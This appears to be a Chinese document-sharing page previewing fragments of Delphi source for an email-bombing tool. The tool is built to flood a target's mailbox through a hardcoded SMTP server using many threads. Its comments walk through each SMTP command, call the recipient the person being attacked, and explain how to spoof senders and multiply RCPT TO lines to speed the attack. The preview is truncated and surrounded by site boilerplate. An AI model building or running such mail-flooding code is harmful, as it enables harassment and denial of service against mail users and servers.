版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領
文檔簡介
1、useswindows,messages,winsock,sysutils;{$R *.RES}constCRLF=#13#10;exename:pchar='郵箱信使';varthd:array[1..1000] of integer;tid:array[1..1000] of dword;faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;s
2、1:string;sbuf:array[0..1024] of char;dest:string;attstart:boolean;//----------------------wClass: TWndClass; //窗口類變量Msg: TMSG; //消息變量hInst, //程序?qū)嵗鼿andle, //主窗口句柄hFont, //字體句柄//--------------
3、--hButtonStart, //開始按鈕hButtonStop, //停止按鈕hButtonHelp, //幫助按鈕hButtonExit, //退出按鈕hEditEmail, //e-mail 編輯hEditCount, //次數(shù)編輯hEditThread, //線程數(shù)編輯hLabelEmail, //e-mail 提示hLabelCount, //次數(shù)提示hLabelThread, //線程數(shù)提示hLab
4、elInfo //領息提示:integer; //句柄類型//--------------------//往一個窗口寫標題procedureWriteCaption(hwnd:hwnd;text:pchar);beginsendmessage(hwnd,WM_SETTEXT,0,integer(text));end;//從一個窗口讀標題procedureReadCaption(hwnd:hwnd;text:pchar);be
5、ginsendmessage(hwnd,WM_GETTEXT,400,integer(text));end;//以下是網(wǎng)絡連接的過程function StartNet(host:string;port:integer):integer;strcopy(DataBuf,pchar(SendStr));err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);Result:=0;end
6、;//下面是個發(fā)信的過程procedure SendMail;var SendBody:string;FSocket:integer;beginrepeat//指定 smtp 主機地址,這里用的是 smtp.21cn.com,它的 ip 為(202.104.32.230)//指定 smtp 主機的發(fā)信端口,默認為 25FSocket:=StartNet('202.104.32.230',25);//-------下面是發(fā)
7、信過程的各步處理-------//---------------------------------------//第一步:發(fā) HELO 指令,表示我要開始發(fā)信了SendData(FSocket,'HELO'+CRLF);//第二步:發(fā) MAIL FROM 指令,表示發(fā)信人的信箱// 注意現(xiàn)在很多 SMTP 主機有只能允許本地合法用戶發(fā)信// 所以發(fā)信者的信箱在發(fā)信主機中應是一個合法用戶// 否則無法發(fā)信,比如 h
8、ack001 便是 smtp.21cn.com 中的一個合法用戶SendData(FSocket,'MAIL FROM: '+CRLF);//第三步:發(fā) RCPT TO 指令,表示目標用戶的郵箱,就是你要攻擊者的郵箱// 這一步可以用多個 RCPT TO 命令指向同一個目標,可以極大的加快攻擊速度// 但對 163.net 好象不行,他加了過濾機制SendData(FSocket,'RCPT TO: '
9、;+CRLF);//第四步:發(fā) DATA 指令,表示要向 SMTP 主機發(fā)數(shù)據(jù)SendData(FSocket,'DATA'+CRLF);//第五步:發(fā)具體數(shù)據(jù),包括如下內(nèi)容(信封和信體):// From:表示發(fā)信者的地址,可以是假的用戶(可以隨機產(chǎn)生),后面以 CRLF(即回車換行符)結(jié)束// TO:表示收信者的地址,可以是假的用戶(可以隨機產(chǎn)生),后面以 CRLF 結(jié)束// Subject:表示郵件主題,
10、后面以 CRLF 結(jié)束// 后面一定要再加一個 CRLF,表示信封部分結(jié)束了// 接下來是信的主體內(nèi)容,可以是任何內(nèi)容,后面以 CRLF 結(jié)束// 然后一定要再加一個.符號,表示信體結(jié)束,后面以 CRLF 結(jié)束SendBody:='From:“bome 2001“'+CRLF+'To:“bome 2001“'+CRLF+'Subject:New Bome 2001.'+CRLF
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 眾賞文庫僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 用word控件來實現(xiàn)文檔鎖定和規(guī)范輸入
- VXI總線測試軟件平臺數(shù)學函數(shù)、公式控件的設計和實現(xiàn).pdf
- 用函數(shù)實現(xiàn)模塊化程序設計
- 用vb調(diào)用c#寫的net控件
- 用zedgraph控件畫統(tǒng)計分析圖
- 用優(yōu)先函數(shù)實現(xiàn)對表達式的運算
- 控件集及其腳本化技術實現(xiàn).pdf
- 程序運行中添加控件并對控件操作
- 43274.基于digmap控件的webgis設計與實現(xiàn)
- winsock控件
- serialport控件
- VXI總線測試軟件平臺——數(shù)據(jù)控件、打印及部分數(shù)學函數(shù).pdf
- 注冊控件.txt
- 注冊控件.txt
- 三維控件系統(tǒng)的設計與實現(xiàn).pdf
- 三維控件集的設計與實現(xiàn).pdf
- 基于C#甘特圖控件的設計與實現(xiàn).pdf
- 現(xiàn)代漢語口語中介詞“在”用與不用的考察.pdf
- 暫不用.doc
- 用郵箱發(fā)簡歷 應注意哪些
評論
0/150
提交評論